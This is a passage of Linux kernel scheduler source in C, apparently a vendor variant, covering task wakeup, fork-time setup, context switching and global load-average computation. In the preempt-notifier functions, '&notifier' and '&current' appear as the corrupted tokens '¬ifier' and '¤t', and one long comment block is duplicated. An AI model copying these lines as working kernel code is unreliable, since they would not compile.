* @wake_flags: wake modifier flags (WF_*)
*
* Put it on the run-queue if it's not already there. The "current"
* thread is always on the run-queue (except when the actual
* re-schedule is in progress), and as such you're allowed to do
* the simpler "current->state = TASK_RUNNING" to mark yourself
* runnable without the overhead of this.
*
* Returns %true if @p was woken up, %false if it was already running
* or @state didn't match @p's state.
*/
static int
try_to_wake_up(struct task_struct *p, unsigned int state, int wake_flags)
{
unsigned long flags;
int cpu, src_cpu, success = 0;
/*
* If we are going to wake up a thread waiting for CONDITION we
* need to ensure that CONDITION=1 done by the caller can not be
* reordered with p->state check below. This pairs with mb() in
* set_current_state() the waiting thread does.
*/
smp_mb__before_spinlock();
raw_spin_lock_irqsave(&p->pi_lock, flags);
src_cpu = cpu = task_cpu(p);
if (!(p->state & state))
goto out;
success = 1; /* we're going to change ->state */
if (p->on_rq && ttwu_remote(p, wake_flags))
goto stat;
#ifdef CONFIG_SMP
/*
* If the owning (remote) cpu is still in the middle of schedule() with
* this task as prev, wait until its done referencing the task.
*/
while (p->on_cpu)
cpu_relax();
/*
* Pairs with the smp_wmb() in finish_lock_switch().
*/
smp_rmb();
p->sched_contributes_to_load = !!task_contributes_to_load(p);
p->state = TASK_WAKING;
if (p->sched_class->task_waking)
p->sched_class->task_waking(p);
cpu = select_task_rq(p, SD_BALANCE_WAKE, wake_flags);
/* Refresh src_cpu as it could have changed since we last read it */
src_cpu = task_cpu(p);
if (src_cpu != cpu) {
wake_flags |= WF_MIGRATED;
set_task_cpu(p, cpu);
}
#endif /* CONFIG_SMP */
ttwu_queue(p, cpu);
stat:
ttwu_stat(p, cpu, wake_flags);
out:
raw_spin_unlock_irqrestore(&p->pi_lock, flags);
if (task_notify_on_migrate(p)) {
struct migration_notify_data mnd;
mnd.src_cpu = src_cpu;
mnd.dest_cpu = cpu;
mnd.load = pct_task_load(p);
/*
* Call the migration notifier with mnd for foreground task
* migrations as well as for wakeups if their load is above
* sysctl_sched_wakeup_load_threshold. This would prompt the
* cpu-boost to boost the CPU frequency on wake up of a heavy
* weight foreground task
*/
if ((src_cpu != cpu) || (mnd.load >
sysctl_sched_wakeup_load_threshold))
atomic_notifier_call_chain(&migration_notifier_head,
0, (void *)&mnd);
}
return success;
}
/**
* try_to_wake_up_local - try to wake up a local task with rq lock held
* @p: the thread to be awakened
*
* Put @p on the run-queue if it's not already there. The caller must
* ensure that this_rq() is locked, @p is bound to this_rq() and not
* the current task.
*/
static void try_to_wake_up_local(struct task_struct *p)
{
struct rq *rq = task_rq(p);
if (WARN_ON(rq != this_rq()) ||
WARN_ON(p == current))
return;
lockdep_assert_held(&rq->lock);
if (!raw_spin_trylock(&p->pi_lock)) {
raw_spin_unlock(&rq->lock);
raw_spin_lock(&p->pi_lock);
raw_spin_lock(&rq->lock);
}
if (!(p->state & TASK_NORMAL))
goto out;
if (!p->on_rq)
ttwu_activate(rq, p, ENQUEUE_WAKEUP);
ttwu_do_wakeup(rq, p, 0);
ttwu_stat(p, smp_processor_id(), 0);
out:
raw_spin_unlock(&p->pi_lock);
}
/**
* wake_up_process - Wake up a specific process
* @p: The process to be woken up.
*
* Attempt to wake up the nominated process and move it to the set of runnable
* processes. Returns 1 if the process was woken up, 0 if it was already
* running.
*
* It may be assumed that this function implies a write memory barrier before
* changing the task state if and only if any tasks are woken up.
*/
int wake_up_process(struct task_struct *p)
{
WARN_ON(task_is_stopped_or_traced(p));
return try_to_wake_up(p, TASK_NORMAL, 0);
}
EXPORT_SYMBOL(wake_up_process);
int wake_up_state(struct task_struct *p, unsigned int state)
{
return try_to_wake_up(p, state, 0);
}
/*
* Perform scheduler related setup for a newly forked process p.
* p is forked by current.
*
* __sched_fork() is basic setup used by init_idle() too:
*/
static void __sched_fork(struct task_struct *p)
{
p->on_rq = 0;
p->se.on_rq = 0;
p->se.exec_start = 0;
p->se.sum_exec_runtime = 0;
p->se.prev_sum_exec_runtime = 0;
p->se.nr_migrations = 0;
p->se.vruntime = 0;
init_new_task_load(p);
INIT_LIST_HEAD(&p->se.group_node);
/*
* Load-tracking only depends on SMP, FAIR_GROUP_SCHED dependency below may be
* removed when useful for applications beyond shares distribution (e.g.
* load-balance).
*/
#if defined(CONFIG_SMP) && defined(CONFIG_FAIR_GROUP_SCHED)
p->se.avg.runnable_avg_period = 0;
p->se.avg.runnable_avg_sum = 0;
#endif
#ifdef CONFIG_SCHEDSTATS
memset(&p->se.statistics, 0, sizeof(p->se.statistics));
#endif
INIT_LIST_HEAD(&p->rt.run_list);
#ifdef CONFIG_PREEMPT_NOTIFIERS
INIT_HLIST_HEAD(&p->preempt_notifiers);
#endif
}
/*
* fork()/clone()-time setup:
*/
void sched_fork(struct task_struct *p)
{
unsigned long flags;
int cpu = get_cpu();
__sched_fork(p);
/*
* We mark the process as running here. This guarantees that
* nobody will actually run it, and a signal or other external
* event cannot wake it up and insert it on the runqueue either.
*/
p->state = TASK_RUNNING;
/*
* Make sure we do not leak PI boosting priority to the child.
*/
p->prio = current->normal_prio;
/*
* Revert to default priority/policy on fork if requested.
*/
if (unlikely(p->sched_reset_on_fork)) {
if (task_has_rt_policy(p)) {
p->policy = SCHED_NORMAL;
p->static_prio = NICE_TO_PRIO(0);
p->rt_priority = 0;
} else if (PRIO_TO_NICE(p->static_prio) < 0)
p->static_prio = NICE_TO_PRIO(0);
p->prio = p->normal_prio = __normal_prio(p);
set_load_weight(p);
/*
* We don't need the reset flag anymore after the fork. It has
* fulfilled its duty:
*/
p->sched_reset_on_fork = 0;
}
if (!rt_prio(p->prio))
p->sched_class = &fair_sched_class;
if (p->sched_class->task_fork)
p->sched_class->task_fork(p);
/*
* The child is not yet in the pid-hash so no cgroup attach races,
* and the cgroup is pinned to this child due to cgroup_fork()
* is ran before sched_fork().
*
* Silence PROVE_RCU.
*/
raw_spin_lock_irqsave(&p->pi_lock, flags);
set_task_cpu(p, cpu);
raw_spin_unlock_irqrestore(&p->pi_lock, flags);
#if defined(CONFIG_SCHEDSTATS) || defined(CONFIG_TASK_DELAY_ACCT)
if (likely(sched_info_on()))
memset(&p->sched_info, 0, sizeof(p->sched_info));
#endif
#if defined(CONFIG_SMP)
p->on_cpu = 0;
#endif
#ifdef CONFIG_PREEMPT_COUNT
/* Want to start with kernel preemption disabled. */
task_thread_info(p)->preempt_count = 1;
#endif
#ifdef CONFIG_SMP
plist_node_init(&p->pushable_tasks, MAX_PRIO);
#endif
put_cpu();
}
/*
* wake_up_new_task - wake up a newly created task for the first time.
*
* This function will do some initial scheduler statistics housekeeping
* that must be done for every newly created context, then puts the task
* on the runqueue and wakes it.
*/
void wake_up_new_task(struct task_struct *p)
{
unsigned long flags;
struct rq *rq;
raw_spin_lock_irqsave(&p->pi_lock, flags);
#ifdef CONFIG_SMP
/*
* Fork balancing, do it here and not earlier because:
* - cpus_allowed can change in the fork path
* - any previously selected cpu might disappear through hotplug
*/
set_task_cpu(p, select_task_rq(p, SD_BALANCE_FORK, 0));
#endif
rq = __task_rq_lock(p);
activate_task(rq, p, 0);
p->on_rq = 1;
trace_sched_wakeup_new(p, true);
check_preempt_curr(rq, p, WF_FORK);
#ifdef CONFIG_SMP
if (p->sched_class->task_woken)
p->sched_class->task_woken(rq, p);
#endif
task_rq_unlock(rq, p, &flags);
}
#ifdef CONFIG_PREEMPT_NOTIFIERS
/**
* preempt_notifier_register - tell me when current is being preempted & rescheduled
* @notifier: notifier struct to register
*/
void preempt_notifier_register(struct preempt_notifier *notifier)
{
hlist_add_head(¬ifier->link, ¤t->preempt_notifiers);
}
EXPORT_SYMBOL_GPL(preempt_notifier_register);
/**
* preempt_notifier_unregister - no longer interested in preemption notifications
* @notifier: notifier struct to unregister
*
* This is safe to call from within a preemption notifier.
*/
void preempt_notifier_unregister(struct preempt_notifier *notifier)
{
hlist_del(¬ifier->link);
}
EXPORT_SYMBOL_GPL(preempt_notifier_unregister);
static void fire_sched_in_preempt_notifiers(struct task_struct *curr)
{
struct preempt_notifier *notifier;
struct hlist_node *node;
hlist_for_each_entry(notifier, node, &curr->preempt_notifiers, link)
notifier->ops->sched_in(notifier, raw_smp_processor_id());
}
static void
fire_sched_out_preempt_notifiers(struct task_struct *curr,
struct task_struct *next)
{
struct preempt_notifier *notifier;
struct hlist_node *node;
hlist_for_each_entry(notifier, node, &curr->preempt_notifiers, link)
notifier->ops->sched_out(notifier, next);
}
#else /* !CONFIG_PREEMPT_NOTIFIERS */
static void fire_sched_in_preempt_notifiers(struct task_struct *curr)
{
}
static void
fire_sched_out_preempt_notifiers(struct task_struct *curr,
struct task_struct *next)
{
}
#endif /* CONFIG_PREEMPT_NOTIFIERS */
/**
* prepare_task_switch - prepare to switch tasks
* @rq: the runqueue preparing to switch
* @prev: the current task that is being switched out
* @next: the task we are going to switch to.
*
* This is called with the rq lock held and interrupts off. It must
* be paired with a subsequent finish_task_switch after the context
* switch.
*
* prepare_task_switch sets up locking and calls architecture specific
* hooks.
*/
static inline void
prepare_task_switch(struct rq *rq, struct task_struct *prev,
struct task_struct *next)
{
sched_info_switch(prev, next);
perf_event_task_sched_out(prev, next);
fire_sched_out_preempt_notifiers(prev, next);
prepare_lock_switch(rq, next);
prepare_arch_switch(next);
trace_sched_switch(prev, next);
}
/**
* finish_task_switch - clean up after a task-switch
* @rq: runqueue associated with task-switch
* @prev: the thread we just switched away from.
*
* finish_task_switch must be called after the context switch, paired
* with a prepare_task_switch call before the context switch.
* finish_task_switch will reconcile locking set up by prepare_task_switch,
* and do any other architecture-specific cleanup actions.
*
* Note that we may have delayed dropping an mm in context_switch(). If
* so, we finish that here outside of the runqueue lock. (Doing it
* with the lock held can cause deadlocks; see schedule() for
* details.)
*/
static void finish_task_switch(struct rq *rq, struct task_struct *prev)
__releases(rq->lock)
{
struct mm_struct *mm = rq->prev_mm;
long prev_state;
rq->prev_mm = NULL;
/*
* A task struct has one reference for the use as "current".
* If a task dies, then it sets TASK_DEAD in tsk->state and calls
* schedule one last time. The schedule call will never return, and
* the scheduled task must drop that reference.
* The test for TASK_DEAD must occur while the runqueue locks are
* still held, otherwise prev could be scheduled on another cpu, die
* there before we look at prev->state, and then the reference would
* be dropped twice.
* Manfred Spraul <manfred@colorfullife.com>
*/
prev_state = prev->state;
finish_arch_switch(prev);
perf_event_task_sched_in(prev, current);
finish_lock_switch(rq, prev);
finish_arch_post_lock_switch();
fire_sched_in_preempt_notifiers(current);
if (mm)
mmdrop(mm);
if (unlikely(prev_state == TASK_DEAD)) {
/*
* Remove function-return probe instances associated with this
* task and put them back on the free list.
*/
kprobe_flush_task(prev);
put_task_struct(prev);
}
}
#ifdef CONFIG_SMP
/* assumes rq->lock is held */
static inline void pre_schedule(struct rq *rq, struct task_struct *prev)
{
if (prev->sched_class->pre_schedule)
prev->sched_class->pre_schedule(rq, prev);
}
/* rq->lock is NOT held, but preemption is disabled */
static inline void post_schedule(struct rq *rq)
{
if (rq->post_schedule) {
unsigned long flags;
raw_spin_lock_irqsave(&rq->lock, flags);
if (rq->curr->sched_class->post_schedule)
rq->curr->sched_class->post_schedule(rq);
raw_spin_unlock_irqrestore(&rq->lock, flags);
rq->post_schedule = 0;
}
}
#else
static inline void pre_schedule(struct rq *rq, struct task_struct *p)
{
}
static inline void post_schedule(struct rq *rq)
{
}
#endif
/**
* schedule_tail - first thing a freshly forked thread must call.
* @prev: the thread we just switched away from.
*/
asmlinkage void schedule_tail(struct task_struct *prev)
__releases(rq->lock)
{
struct rq *rq = this_rq();
finish_task_switch(rq, prev);
/*
* FIXME: do we need to worry about rq being invalidated by the
* task_switch?
*/
post_schedule(rq);
#ifdef __ARCH_WANT_UNLOCKED_CTXSW
/* In this case, finish_task_switch does not reenable preemption */
preempt_enable();
#endif
if (current->set_child_tid)
put_user(task_pid_vnr(current), current->set_child_tid);
}
/*
* context_switch - switch to the new MM and the new
* thread's register state.
*/
static inline void
context_switch(struct rq *rq, struct task_struct *prev,
struct task_struct *next)
{
struct mm_struct *mm, *oldmm;
prepare_task_switch(rq, prev, next);
mm = next->mm;
oldmm = prev->active_mm;
/*
* For paravirt, this is coupled with an exit in switch_to to
* combine the page table reload and the switch backend into
* one hypercall.
*/
arch_start_context_switch(prev);
if (!mm) {
next->active_mm = oldmm;
atomic_inc(&oldmm->mm_count);
enter_lazy_tlb(oldmm, next);
} else
switch_mm(oldmm, mm, next);
if (!prev->mm) {
prev->active_mm = NULL;
rq->prev_mm = oldmm;
}
/*
* Since the runqueue lock will be released by the next
* task (which is an invalid locking op but in the case
* of the scheduler it's an obvious special-case), so we
* do an early lockdep release here:
*/
#ifndef __ARCH_WANT_UNLOCKED_CTXSW
spin_release(&rq->lock.dep_map, 1, _THIS_IP_);
#endif
/* Here we just switch the register state and the stack. */
switch_to(prev, next, prev);
barrier();
/*
* this_rq must be evaluated again because prev may have moved
* CPUs since it called schedule(), thus the 'rq' on its stack
* frame will be invalid.
*/
finish_task_switch(this_rq(), prev);
}
/*
* nr_running, nr_uninterruptible and nr_context_switches:
*
* externally visible scheduler statistics: current number of runnable
* threads, current number of uninterruptible-sleeping threads, total
* number of context switches performed since bootup.
*/
unsigned long nr_running(void)
{
unsigned long i, sum = 0;
for_each_online_cpu(i)
sum += cpu_rq(i)->nr_running;
return sum;
}
unsigned long nr_uninterruptible(void)
{
unsigned long i, sum = 0;
for_each_possible_cpu(i)
sum += cpu_rq(i)->nr_uninterruptible;
/*
* Since we read the counters lockless, it might be slightly
* inaccurate. Do not allow it to go below zero though:
*/
if (unlikely((long)sum < 0))
sum = 0;
return sum;
}
unsigned long long nr_context_switches(void)
{
int i;
unsigned long long sum = 0;
for_each_possible_cpu(i)
sum += cpu_rq(i)->nr_switches;
return sum;
}
unsigned long nr_iowait(void)
{
unsigned long i, sum = 0;
for_each_possible_cpu(i)
sum += atomic_read(&cpu_rq(i)->nr_iowait);
return sum;
}
unsigned long nr_iowait_cpu(int cpu)
{
struct rq *this = cpu_rq(cpu);
return atomic_read(&this->nr_iowait);
}
unsigned long this_cpu_load(void)
{
struct rq *this = this_rq();
return this->cpu_load[0];
}
/*
* Global load-average calculations
*
* We take a distributed and async approach to calculating the global load-avg
* in order to minimize overhead.
*
* The global load average is an exponentially decaying average of nr_running +
* nr_uninterruptible.
*
* Once every LOAD_FREQ:
*
* nr_active = 0;
* for_each_possible_cpu(cpu)
* nr_active += cpu_of(cpu)->nr_running + cpu_of(cpu)->nr_uninterruptible;
*
* avenrun[n] = avenrun[0] * exp_n + nr_active * (1 - exp_n)
*
* Due to a number of reasons the above turns in the mess below:
*
* - for_each_possible_cpu() is prohibitively expensive on machines with
* serious number of cpus, therefore we need to take a distributed approach
* to calculating nr_active.
*
* \Sum_i x_i(t) = \Sum_i x_i(t) - x_i(t_0) | x_i(t_0) := 0
* = \Sum_i { \Sum_j=1 x_i(t_j) - x_i(t_j-1) }
*
* So assuming nr_active := 0 when we start out -- true per definition, we
* can simply take per-cpu deltas and fold those into a global accumulate
* to obtain the same result. See calc_load_fold_active().
*
* Furthermore, in order to avoid synchronizing all per-cpu delta folding
* across the machine, we assume 10 ticks is sufficient time for every
* cpu to have completed this task.
*
* This places an upper-bound on the IRQ-off latency of the machine. Then
* again, being late doesn't loose the delta, just wrecks the sample.
*
* - cpu_rq()->nr_uninterruptible isn't accurately tracked per-cpu because
* this would add another cross-cpu cacheline miss and atomic operation
* to the wakeup path. Instead we increment on whatever cpu the task ran
* when it went into uninterruptible state and decrement on whatever cpu
* did the wakeup. This means that only the sum of nr_uninterruptible over
* all cpus yields the correct result.
*
* This covers the NO_HZ=n code, for extra head-aches, see the comment below.
*/
#ifdef CONFIG_INTELLI_PLUG
unsigned long avg_nr_running(void)
{
unsigned long i, sum = 0;
unsigned int seqcnt, ave_nr_running;
for_each_online_cpu(i) {
struct nr_stats_s *stats = &per_cpu(runqueue_stats, i);
struct rq *q = cpu_rq(i);
/*
* Update average to avoid reading stalled value if there were
* no run-queue changes for a long time. On the other hand if
* the changes are happening right now, just read current value
* directly.
*/
seqcnt = read_seqcount_begin(&stats->ave_seqcnt);
ave_nr_running = do_avg_nr_running(q);
if (read_seqcount_retry(&stats->ave_seqcnt, seqcnt)) {
read_seqcount_begin(&stats->ave_seqcnt);
ave_nr_running = stats->ave_nr_running;
}
sum += ave_nr_running;
}
return sum;
}
EXPORT_SYMBOL(avg_nr_running);
unsigned long avg_cpu_nr_running(unsigned int cpu)
{
unsigned int seqcnt, ave_nr_running;
struct nr_stats_s *stats = &per_cpu(runqueue_stats, cpu);
struct rq *q = cpu_rq(cpu);
/*
* Update average to avoid reading stalled value if there were
* no run-queue changes for a long time. On the other hand if
* the changes are happening right now, just read current value
* directly.
*/
seqcnt = read_seqcount_begin(&stats->ave_seqcnt);
ave_nr_running = do_avg_nr_running(q);
if (read_seqcount_retry(&stats->ave_seqcnt, seqcnt)) {
read_seqcount_begin(&stats->ave_seqcnt);
ave_nr_running = stats->ave_nr_running;
}
return ave_nr_running;
}
EXPORT_SYMBOL(avg_cpu_nr_running);
#endif
/*
* Global load-average calculations
*
* We take a distributed and async approach to calculating the global load-avg
* in order to minimize overhead.
*
* The global load average is an exponentially decaying average of nr_running +
* nr_uninterruptible.
*
* Once every LOAD_FREQ:
*
* nr_active = 0;
* for_each_possible_cpu(cpu)
* nr_active += cpu_of(cpu)->nr_running + cpu_of(cpu)->nr_uninterruptible;
*
* avenrun[n] = avenrun[0] * exp_n + nr_active * (1 - exp_n)
*
* Due to a number of reasons the above turns in the mess below:
*
* - for_each_possible_cpu() is prohibitively expensive on machines with
* serious number of cpus, therefore we need to take a distributed approach
* to calculating nr_active.
*
* \Sum_i x_i(t) = \Sum_i x_i(t) - x_i(t_0) | x_i(t_0) := 0
* = \Sum_i { \Sum_j=1 x_i(t_j) - x_i(t_j-1) }
*
* So assuming nr_active := 0 when we start out -- true per definition, we
* can simply take per-cpu deltas and fold those into a global accumulate
* to obtain the same result. See calc_load_fold_active().
*
* Furthermore, in order to avoid synchronizing all per-cpu delta folding
* across the machine, we assume 10 ticks is sufficient time for every
* cpu to have completed this task.
*
* This places an upper-bound on the IRQ-off latency of the machine. Then
* again, being late doesn't loose the delta, just wrecks the sample.
*
* - cpu_rq()->nr_uninterruptible isn't accurately tracked per-cpu because
* this would add another cross-cpu cacheline miss and atomic operation
* to the wakeup path. Instead we increment on whatever cpu the task ran
* when it went into uninterruptible state and decrement on whatever cpu
* did the wakeup. This means that only the sum of nr_uninterruptible over
* all cpus yields the correct result.
*
* This covers the NO_HZ=n code, for extra head-aches, see the comment below.
*/
/* Variables and functions for calc_load */
static atomic_long_t calc_load_tasks;
static unsigned long calc_load_update;
unsigned long avenrun[3];
EXPORT_SYMBOL(avenrun); /* should be removed */
/**
* get_avenrun - get the load average array
* @loads: pointer to dest load array
* @offset: offset to add
* @shift: shift count to shift the result left
*
* These values are estimates at best, so no need for locking.
*/
void get_avenrun(unsigned long *loads, unsigned long offset, int shift)
{
loads[0] = (avenrun[0] + offset) << shift;
loads[1] = (avenrun[1] + offset) << shift;
loads[2] = (avenrun[2] + offset) << shift;
}
static long calc_load_fold_active(struct rq *this_rq)
{
long nr_active, delta = 0;
nr_active = this_rq->nr_running;
nr_active += (long) this_rq->nr_uninterruptible;
if (nr_active != this_rq->calc_load_active) {
delta = nr_active - this_rq->calc_load_active;
this_rq->calc_load_active = nr_active;
}
return delta;
}
/*
* a1 = a0 * e + a * (1 - e)
*/
static unsigned long
calc_load(unsigned long load, unsigned long exp, unsigned long active)
{
load *= exp;
load += active * (FIXED_1 - exp);
load += 1UL << (FSHIFT - 1);
return load >> FSHIFT;
}
#ifdef CONFIG_NO_HZ
/*
* Handle NO_HZ for the global load-average.
*
* Since the above described distributed algorithm to compute the global
* load-average relies on per-cpu sampling from the tick, it is affected by
* NO_HZ.
*
* The basic idea is to fold the nr_active delta into a global idle-delta upon
* entering NO_HZ state such that we can include this as an 'extra' cpu delta
* when we read the global state.
*
* Obviously reality has to ruin such a delightfully simple scheme:
*
* - When we go NO_HZ idle during the window, we can negate our sample
* contribution, causing under-accounting.
*
* We avoid this by keeping two idle-delta counters and flipping them
* when the window starts, thus separating old and new NO_HZ load.
*
* The only trick is the slight shift in index flip for read vs write.
*
* 0s 5s 10s 15s
* +10 +10 +10 +10
* |-|-----------|-|-----------|-|-----------|-|
* r:0 0 1 1 0 0 1 1 0
* w:0 1 1 0 0 1 1 0 0
*
* This ensures we'll fold the old idle contribution in this window while
* accumlating the new one.
*
* - When we wake up from NO_HZ idle during the window, we push up our
* contribution, since we effectively move our sample point to a known
* busy state.
*
* This is solved by pushing the window forward, and thus skipping the
* sample, for this cpu (effectively using the idle-delta for this cpu which
* was in effect at the time the window opened). This also solves the issue
* of having to deal with a cpu having been in NOHZ idle for multiple
* LOAD_FREQ intervals.
*
* When making the ILB scale, we should try to pull this in as well.
*/
static atomic_long_t calc_load_idle[2];
static int calc_load_idx;
static inline int calc_load_write_idx(void)
{
int idx = calc_load_idx;
/*
* See calc_global_nohz(), if we observe the new index, we also
* need to observe the new update time.
*/
smp_rmb();
/*
* If the folding window started, make sure we start writing in the
* next idle-delta.
*/
if (!time_before(jiffies, calc_load_update))
idx++;
return idx & 1;
}
static inline int calc_load_read_idx(void)
{
return calc_load_idx & 1;
}
void calc_load_enter_idle(void)
{
struct rq *this_rq = this_rq();
long delta;
/*
* We're going into NOHZ mode, if there's any pending delta, fold it
* into the pending idle delta.
*/
delta = calc_load_fold_active(this_rq);
if (delta) {
int idx = calc_load_write_idx();
atomic_long_add(delta, &calc_load_idle[idx]);
}
}
void calc_load_exit_idle(void)
{
struct rq *this_rq = this_rq();
/*
* If we're still before the sample window, we're done.
*/
if (time_before(jiffies, this_rq->calc_load_update))
return;
/*
* We woke inside or after the sample window, this means we're already
* accounted through the nohz accounting, so skip the entire deal and
* sync up for the next window.
*/
this_rq->calc_load_update = calc_load_update;
if (time_before(jiffies, this_rq->calc_load_update + 10))
this_rq->calc_load_update += LOAD_FREQ;
}
static long calc_load_fold_idle(void)
{
int idx = calc_load_read_idx();
long delta = 0;
if (atomic_long_read(&calc_load_idle[idx]))
delta = atomic_long_xchg(&calc_load_idle[idx], 0);
return delta;
}
/**
* fixed_power_int - compute: x^n, in O(log n) time
*
* @x: base of the power
* @frac_bits: fractional bits of @x
* @n: power to raise @x to.
*
* By exploiting the relation between the definition of the natural power
* function: x^n := x*x*...*x (x multiplied by itself for n times), and
* the binary encoding of numbers used by computers: n := \Sum n_i * 2^i,
* (where: n_i \elem {0, 1}, the binary vector representing n),
* we find: x^n := x^(\Sum n_i * 2^i) := \Prod x^(n_i * 2^i), which is
* of course trivially computable in O(log_2 n), the length of our binary
* vector.
*/
static unsigned long
fixed_power_int(unsigned long x, unsigned int frac_bits, unsigned int n)
{
unsigned long result = 1UL << frac_bits;
if (n) for (;;) {
if (n & 1) {
result *= x;
result += 1UL << (frac_bits - 1);
result >>= frac_bits;
}
n >>= 1;
if (!n)
break;
x *= x;
x += 1UL << (frac_bits - 1);
x >>= frac_bits;
}
return result;
}
/*
* a1 = a0 * e + a * (1 - e)
*
* a2 = a1 * e + a * (1 - e)
* = (a0 * e + a * (1 - e)) * e + a * (1 - e)
* = a0 * e^2 + a * (1 - e) * (1 + e)
*
* a3 = a2 * e + a * (1 - e)
* = (a0 * e^2 + a * (1 - e) * (1 + e)) * e + a * (1 - e)
* = a0 * e^3 + a * (1 - e) * (1 + e + e^2)
*
* ...
*
* an = a0 * e^n + a * (1 - e) * (1 + e + ... + e^n-1) [1]
* = a0 * e^n + a * (1 - e) * (1 - e^n)/(1 - e)
* = a0 * e^n + a * (1 - e^n)
*
* [1] application of the geometric series:
*
* n 1 - x^(n+1)
* S_n := \Sum x^i = -------------
* i=0 1 - x
*/
static unsigned long
calc_load_n(unsigned long load, unsigned long exp,
unsigned long active, unsigned int n)
{
return calc_load(load, fixed_power_int(exp, FSHIFT, n), active);
}
/*
* NO_HZ can leave us missing all per-cpu ticks calling
* calc_load_account_active(), but since an idle CPU folds its delta into
* calc_load_tasks_idle per calc_load_account_idle(), all we need to do is fold
* in the pending idle delta if our idle period crossed a load cycle boundary.
*
* Once we've updated the global active value, we need to apply the exponential
* weights adjusted to the number of cycles missed.
*/
static void calc_global_nohz(void)
{
long delta, active, n;
if (!time_before(jiffies, calc_load_update + 10)) {
/*
* Catch-up, fold however many we are behind still
*/
delta = jiffies - calc_load_update - 10;
n = 1 + (delta / LOAD_FREQ);
active = atomic_long_read(&calc_load_tasks);
active = active > 0 ? active * FIXED_1 : 0;
avenrun[0] = calc_load_n(avenrun[0], EXP_1, active, n);
avenrun[1] = calc_load_n(avenrun[1], EXP_5, active, n);
avenrun[2] = calc_load_n(avenrun[2], EXP_15, active, n);
calc_load_update += n * LOAD_FREQ;
}
/*
* Flip the idle index...
*
* Make sure we first write the new time then flip the index, so that
* calc_load_write_idx() will see the new time when it reads the new
* index, this avoids a double flip messing things up.
*/
smp_wmb();
calc_load_idx++;
}
#else /* !CONFIG_NO_HZ */
static inline long calc_load_fold_idle(void) { return 0; }
static inline void calc_global_nohz(void) { }
#endif /* CONFIG_NO_HZ */
/*
* calc_load - update the avenrun load estimates 10 ticks after the
* CPUs have updated calc_load_tasks.
*/
void calc_global_load(unsigned long ticks)
{
long active, delta;
if (time_before(jiffies, calc_load_update + 10))
return;
/*
* Fold the 'old' idle-delta to include all NO_HZ cpus.
*/
delta = calc_load_fold_idle();
if (delta)
atomic_long_add(delta, &calc_load_tasks);
active = atomic_long_read(&calc_load_tasks);
active = active > 0 ? active * FIXED_1 : 0;
avenrun[0] = calc_load(avenrun[0], EXP_1, active);
avenrun[1] = calc_load(avenrun[1], EXP_5, active);
avenrun[2] = calc_load(avenrun[2], EXP_15, active);
calc_load_update += LOAD_FREQ;
/*
* In case we idled for multiple LOAD_FREQ intervals, catch up in bulk.
*/
calc_global_nohz();
}
/*
* Called from update_cpu_load() to periodically update this CPU's
* active count.
*/
static void calc_load_account_active(struct rq *this_rq)
{
long delta;
if (time_before(jiffies, this_rq->calc_load_update))
return;
delta = calc_load_fold_active(this_rq);
if (delta)
atomic_long_add(delta, &calc_load_tasks);
this_rq->calc_load_update += LOAD_FREQ;
}
/*
* End of global load-average stuff
*/
/*
* The exact cpuload at various idx values, calculated at every tick would be
* load = (2^idx - 1) / 2^idx * load + 1 / 2^idx * cur_load
*
* If a cpu misses updates for n-1 ticks (as it was idle) and update gets called
* on nth tick when cpu may be busy, then we have:
* load = ((2^idx - 1) / 2^idx)^(n-1) * load
* load = (2^idx - 1) / 2^idx) * load + 1 / 2^idx * cur_load
*
* decay_load_missed() below does efficient calculation of
* load = ((2^idx - 1) / 2^idx)^(n-1) * load
* avoiding 0..n-1 loop doing load = ((2^idx - 1) / 2^idx) * load
*
* The calculation is approximated on a 128 point scale.
* degrade_zero_ticks is the number of ticks after which load at any
* particular idx is approximated to be zero.
* degrade_factor is a precomputed table, a row for each load idx.
* Each column corresponds to degradation factor for a power of two ticks,
* based on 128 point scale.
* Example:
* row 2, col 3 (=12) says that the degradation at load idx 2 after
* 8 ticks is 12/128 (which is an approximation of exact factor 3^8/4^8).
*
* With this power of 2 load factors, we can degrade the load n times
* by looking at 1 bits in n and doing as many mult/shift instead of
* n mult/shifts needed by the exact degradation.
*/
#define DEGRADE_SHIFT 7
static const unsigned char
degrade_zero_ticks[CPU_LOAD_IDX_MAX] = {0, 8, 32, 64, 128};
static const unsigned char
degrade_factor[CPU_LOAD_IDX_MAX][DEGRADE_SHIFT + 1] = {
{0, 0, 0, 0, 0, 0, 0, 0},
{64, 32, 8, 0, 0, 0, 0, 0},
{96, 72, 40, 12, 1, 0, 0},
{112, 98, 75, 43, 15, 1, 0},
{120, 112, 98, 76, 45, 16, 2} };
/*
* Update cpu_load for any missed ticks, due to tickless idle. The backlog
* would be when CPU is idle and so we just decay the old load without
* adding any new load.
*/
static unsigned long
decay_load_missed(unsigned long load, unsigned long missed_updates, int idx)
{
int j = 0;
if (!missed_updates)
return load;
if (missed_updates >= degrade_zero_ticks[idx])
return 0;
if (idx == 1)
return load >> missed_updates;
while (missed_updates) {
if (missed_updates % 2)
load = (load * degrade_factor[idx][j]) >> DEGRADE_SHIFT;
missed_updates >>= 1;
j++;
}
return load;
}
/*
* Update rq->cpu_load[] statistics. This function is usually called every
* scheduler tick (TICK_NSEC). With tickless idle this will not be called
* every tick. We fix it up based on jiffies.
*/
static void __update_cpu_load(struct rq *this_rq, unsigned long this_load,
unsigned long pending_updates)
{
int i, scale;
this_rq->nr_load_updates++;
/* Update our load: */
this_rq->cpu_load[0] = this_load; /* Fasttrack for idx 0 */
for (i = 1, scale = 2; i < CPU_LOAD_IDX_MAX; i++, scale += scale) {
unsigned long old_load, new_load;
/* scale is effectively 1 << i now, and >> i divides by scale */
old_load = this_rq->cpu_load[i];
old_load = decay_load_missed(old_load, pending_updates - 1, i);
new_load = this_load;
/*
* Round up the averaging division if load is increasing. This
* prevents us from getting stuck on 9 if the load is 10, for
* example.
*/
if (new_load > old_load)
new_load += scale - 1;
this_rq->cpu_load[i] = (old_load * (scale - 1) + new_load) >> i;
}
sched_avg_update(this_rq);
}
#ifdef CONFIG_NO_HZ
/*
* There is no sane way to deal with nohz on smp when using jiffies because the
* cpu doing the jiffies update might drift wrt the cpu doing the jiffy reading
* causing off-by-one errors in observed deltas; {0,2} instead of {1,1}.
*
* Therefore we cannot use the delta approach from the regular tick since that
* would seriously skew the load calculation. However we'll make do for those
* updates happening while idle (nohz_idle_balance) or coming out of idle
* (tick_nohz_idle_exit).
*
* This means we might still be one tick off for nohz periods.
*/
/*
* Called from nohz_idle_balance() to update the load ratings before doing the
* idle balance.
*/
void update_idle_cpu_load(struct rq *this_rq)
{
